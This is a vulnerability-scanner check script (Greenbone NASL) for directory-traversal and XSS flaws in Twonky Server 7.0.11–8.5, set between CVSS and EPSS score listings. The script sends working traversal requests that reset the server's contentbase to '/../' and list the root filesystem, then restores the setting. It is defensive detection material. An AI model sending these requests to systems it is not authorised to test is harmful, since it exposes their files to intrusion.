CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
88.2%
Twonky Server is prone to multiple vulnerabilities.
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:twonky:twonky_server";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108436");
script_version("2024-06-26T05:05:39+0000");
script_tag(name:"last_modification", value:"2024-06-26 05:05:39 +0000 (Wed, 26 Jun 2024)");
script_tag(name:"creation_date", value:"2018-04-07 12:17:00 +0200 (Sat, 07 Apr 2018)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2018-04-20 13:16:00 +0000 (Fri, 20 Apr 2018)");
script_cve_id("CVE-2018-7171", "CVE-2018-7203");
script_name("Twonky Server 7.0.11 - 8.5 Multiple Vulnerabilities - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_twonky_server_detect.nasl");
script_require_ports("Services/www", 9000);
script_mandatory_keys("twonky/server/http/detected");
script_xref(name:"URL", value:"https://packetstormsecurity.com/files/146938/TwonkyMedia-Server-7.0.11-8.5-Directory-Traversal.html");
script_xref(name:"URL", value:"https://packetstormsecurity.com/files/146939/TwonkyMedia-Server-7.0.11-8.5-Cross-Site-Scripting.html");
script_xref(name:"URL", value:"https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/44350/");
script_xref(name:"URL", value:"http://docs.twonky.com/display/TRN/Twonky+Server+8.5.1");
script_tag(name:"summary", value:"Twonky Server is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and check the response.");
script_tag(name:"insight", value:"The following vulnerabilities exist:
Directory traversal vulnerability in Twonky Server allows remote attackers to share the contents of arbitrary directories
via a .. (dot dot) in the contentbase parameter to rpc/set_all.
Cross-site scripting (XSS) vulnerability in Twonky Server allows remote attackers to inject arbitrary web script or HTML
via the friendlyname parameter to rpc/set_all.
NOTE: If the WebGUI is password protected both vulnerabilities can be misused by an authenticated attacker only.");
script_tag(name:"affected", value:"Twonky Server versions 7.0.11 through 8.5.");
script_tag(name:"solution", value:"Update to version 8.5.1 or later.
As a workaround set a strong password for the WebGUI which blocks access to the affected RCP calls.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
include("list_array_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
# First check if the RPC service is password protected.
url = dir + "/rpc/get_option?contentbase";
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( ! res || "Unauthorized" >< res || "Access to this page is restricted" >< res || res =~ "^HTTP/1\.[01] 401" ) exit( 0 );
# Grab the current "contentbase" so we can reset it later.
url = dir + "/rpc/get_option?contentbase";
req = http_get( port:port, item:url );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
contentbase = egrep( string:res, pattern:"^/[^\r\n]+" );
# So now set the contentbase to the root on the disk
url1 = dir + "/rpc/set_option?contentbase=/../";
req1 = http_get( port:port, item:url1 );
res1 = http_keepalive_send_recv( port:port, data:req1, bodyonly:FALSE );
if( res1 =~ "^HTTP/1\.[01] 200" && "/../" >< res1 ) {
# And now get the content of the root dir
url2 = dir + "/rpc/dir?path=/";
req2 = http_get( port:port, item:url2 );
res2 = http_keepalive_send_recv( port:port, data:req2, bodyonly:TRUE );
# The return contains something like:
# 002D/bin
# 019D/var
if( res2 && egrep( string:res2, pattern:"^[0-9]{3}D/(bin|dev|etc|home|lib|linuxrc|mnt|nfs|opt|proc|root|sbin|shares|sys|tmp|usr|var)" ) ) {
info['URL 1: Overwrite contentbase'] = http_report_vuln_url( port:port, url:url1, url_only:TRUE );
info['URL 2: Read directory structure'] = http_report_vuln_url( port:port, url:url2, url_only:TRUE );
# If we where able to grab the previous contentbase reset it again.
if( contentbase ) {
url3 = dir + "/rpc/set_option?contentbase=" + chomp( contentbase );
req3 = http_get( port:port, item:url3 );
http_keepalive_send_recv( port:port, data:req3, bodyonly:TRUE );
info['URL 3: Reset contentbase'] = http_report_vuln_url( port:port, url:url3, url_only:TRUE );
}
report = 'By doing the following requests:\n\n';
report += text_format_table( array:info ) + '\n\n';
report += 'it was possible to read the directory structure of the root filesystem.';
report += '\n\nResult:\n' + res2;
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
docs.twonky.com/display/TRN/Twonky+Server+8.5.1
github.com/mechanico/sharingIsCaring/blob/master/twonky.py
packetstormsecurity.com/files/146938/TwonkyMedia-Server-7.0.11-8.5-Directory-Traversal.html
packetstormsecurity.com/files/146939/TwonkyMedia-Server-7.0.11-8.5-Cross-Site-Scripting.html
www.exploit-db.com/exploits/44350/
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
88.2%